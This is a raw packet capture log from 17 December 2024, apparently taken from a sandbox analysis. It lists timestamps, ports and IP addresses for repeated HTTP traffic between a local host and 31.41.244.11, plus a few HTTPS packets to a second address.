Dec 17, 2024 08:03:32.539238930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.539253950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.539282084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.539294958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.540163040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.540179014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.540205956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.540219069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.540936947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.540977955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.541038036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.541075945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.541865110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.541904926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.541959047 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.541997910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.542812109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.542850018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.687184095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.687257051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.687427998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.687530994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.687644958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.687697887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.688458920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.688509941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.688589096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.689403057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.689456940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.689531088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.690337896 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.690391064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.690464973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.690515041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.691243887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.691296101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.691371918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.691421032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.692109108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.692250967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.692270994 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:32.692303896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.692337990 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:32.693036079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.693161011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.693231106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.693934917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.694097996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.694133043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.694144011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.694384098 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:32.694397926 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:32.694864988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.694919109 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:32.694982052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.695055008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.695100069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.695755005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.695804119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.695847988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.695888042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.696157932 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:32.696666956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.696780920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.696835041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.697629929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.697712898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.697762012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.698515892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.698573112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.698648930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.698812962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.699440002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.699547052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.699564934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.699606895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.700412989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.700470924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.700545073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.700733900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.701364040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.701421976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.701421976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.701462984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.702204943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.702260971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.702302933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.702383041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.703100920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.703160048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.703203917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.703392029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.704009056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.704061031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.704133034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.704580069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.704922915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.704967022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.705035925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.705080986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.705950975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.705992937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.706075907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.706363916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.706743956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.706799030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.706922054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.706974983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.707695961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.707752943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.707777977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.707818031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.708591938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.708744049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.708755016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.708797932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.709516048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.709621906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.709635019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.709680080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.710433960 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.710490942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.710549116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.710594893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.711345911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.711452007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.711508036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.712295055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.712338924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.712383986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.713227034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.713361979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.713386059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.713699102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.714067936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.714123964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.714180946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.714266062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.715002060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.715059996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.715104103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.715327978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.715929031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.715989113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.716043949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.716085911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.716835022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.716897011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.716954947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.717000008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.717745066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.717813015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.717863083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.718657970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.718869925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.718920946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.719588995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.719727993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.719769001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.720494986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.720556021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.720642090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.720951080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.721429110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.721472025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.721532106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.721570969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.722316027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.722371101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.722429991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.722636938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.723352909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.723407030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.723463058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.723603010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.724189043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.724239111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.724293947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.724529028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.725081921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.725132942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.725176096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.725996971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.726042032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.726099968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.726927996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.726972103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.727027893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.727066040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.727843046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.727936029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.727977991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.728748083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.728883028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.728924036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.729685068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.729804039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.729852915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.730567932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.730612040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.730671883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.730710983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.731501102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.731558084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.731605053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.731786966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.732403994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.732460976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.732505083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.732542038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.733310938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.733362913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.733408928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.733503103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.734236002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.734292984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.734334946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.734500885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.735234976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.735287905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.739351988 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:32.879350901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.879415035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.879513025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.879565001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.879769087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.879813910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.879884005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.879931927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.880444050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.880494118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.880577087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.880630970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.881372929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.881423950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.881477118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.881525993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.882285118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.882397890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.882443905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.882498980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.883194923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.883248091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.883330107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.883382082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.884105921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.884156942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.884238005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.884288073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.885011911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.885066032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.885132074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.885180950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.885938883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.885989904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.886066914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.886115074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.886857986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.886910915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.886979103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.887032032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.887790918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.887841940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.887981892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.888034105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.888753891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.888807058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.888875008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.888923883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.889698029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.889750957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.889826059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.889874935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.890536070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.890585899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.890652895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.890707016 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.891441107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.891493082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.891581059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.891623974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.892345905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.892412901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.892462969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.892512083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.893311977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.893363953 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.893434048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.893486023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.894180059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.894231081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.894341946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.894392014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.895416975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.895471096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.895483017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.895531893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.896043062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.896096945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.896156073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.896204948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.897031069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.897074938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.897146940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.897197008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.897885084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.897934914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.898000956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.898050070 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.898753881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.898799896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.898885012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.898937941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.899698019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.899753094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.899813890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.899863958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.900599003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.900655031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.900723934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.900773048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.901653051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.901702881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.901885033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.901935101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.902484894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.902535915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.902538061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.902585983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.903374910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.903429031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.903498888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.903549910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.904277086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.904326916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.904396057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.904450893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.905181885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.905234098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.905299902 CET	80	49867	31.41.244.11	192.168.2.5
